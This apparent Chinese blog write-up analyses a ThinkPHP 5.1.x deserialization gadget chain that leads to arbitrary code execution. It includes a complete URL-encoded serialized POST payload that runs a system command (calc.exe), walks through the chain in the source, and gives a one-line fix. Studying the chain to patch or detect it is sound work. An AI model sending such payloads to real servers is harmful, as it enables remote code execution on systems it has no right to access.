漏洞简介
5.1.X版本存在反序列化链子,可以执行任意代码
漏洞演示
使用以下命令下载代码
1 | #下载指定版本的thinkphp源码 |
漏洞利用前提
以下两个条件满足一个即可
- 存在反序列化的点如
unserialize
- 存在文件上传、文件名完全可控、使用了文件操作函数,例如:
file_exists('phar://恶意文件')
poc1
1 |
|
poc2
1 |
|
生成弹计算器的payload,通过post传参
1 | c=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A9%3A%22HackerQWQ%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22test%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A9%3A%22HackerQWQ%22%3BO%3A13%3A%22think%5CRequest%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A10%3A%7Bs%3A10%3A%22var_method%22%3Bs%3A7%3A%22_method%22%3Bs%3A8%3A%22var_ajax%22%3Bs%3A3%3A%22cmd%22%3Bs%3A8%3A%22var_pjax%22%3Bs%3A5%3A%22_pjax%22%3Bs%3A12%3A%22var_pathinfo%22%3Bs%3A1%3A%22s%22%3Bs%3A14%3A%22pathinfo_fetch%22%3Ba%3A3%3A%7Bi%3A0%3Bs%3A14%3A%22ORIG_PATH_INFO%22%3Bi%3A1%3Bs%3A18%3A%22REDIRECT_PATH_INFO%22%3Bi%3A2%3Bs%3A12%3A%22REDIRECT_URL%22%3B%7Ds%3A14%3A%22default_filter%22%3Bs%3A0%3A%22%22%3Bs%3A15%3A%22url_domain_root%22%3Bs%3A0%3A%22%22%3Bs%3A16%3A%22https_agent_name%22%3Bs%3A0%3A%22%22%3Bs%3A13%3A%22http_agent_ip%22%3Bs%3A14%3A%22HTTP_X_REAL_IP%22%3Bs%3A15%3A%22url_html_suffix%22%3Bs%3A4%3A%22html%22%3B%7Ds%3A8%3A%22%00%2A%00param%22%3Ba%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A8%3A%22calc.exe%22%3B%7Ds%3A13%3A%22%00%2A%00mergeParam%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A8%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D%7D |
漏洞分析
在Index.php添加以下代码
1 |
|
前几个点都跟TP5.0.X的差不多
由Windows.php的removeFiles
到file_exists
触发Conversion.php的__toString
到toJson
然后是toArray
toArray
函数中需要关注的是$relation->visible
函数,因为这可以触发__call
从而继续利用,先看下一部分的链子
找到Request
类的__call
方法,这里的$this->hood[$method]
变量可控,但是上面的array_unshift
函数会把$this
放到$args
数组中的第一个从而触发fatal error退出程序,因此还需要寻找其他可利用的方法
这里通过call_user_func_array([类名,方法名],变量)
的形式调用任意类的任意方法,而之前分析TP5任意代码执行的漏洞的时候出镜率比较高的input
方法就派上用场了
但是由于存在一个强制转换,类对象被强制转换的话会触发fatal error,因此需要用其他方法进入input
方法,这里我们用Reuqest
的param
方法,需要让$this->param
为我们的命令(calc.exe),从而进入input
方法,但是这样的话还是第二个参数位置的$name
变量强制转换,因此还需要往上套
这里找到isAjax
或者isPjax
都可以,这里的$this->config['var_ajax']
可控,这样就不会引起name强制转换出错了
顺利进入到intput
方法后,getFilter
方法返回$this->filter
,照例改为system
,然后这里进入is_array
分支或者不进入都可以,在上面的$this->param
处修改即可,然后调用fileterValue
此时$filter
为system,$data
为payload,通过call_user_func
执行任意代码
漏洞修复
在Windows.php
处对$filename
进行校验就好了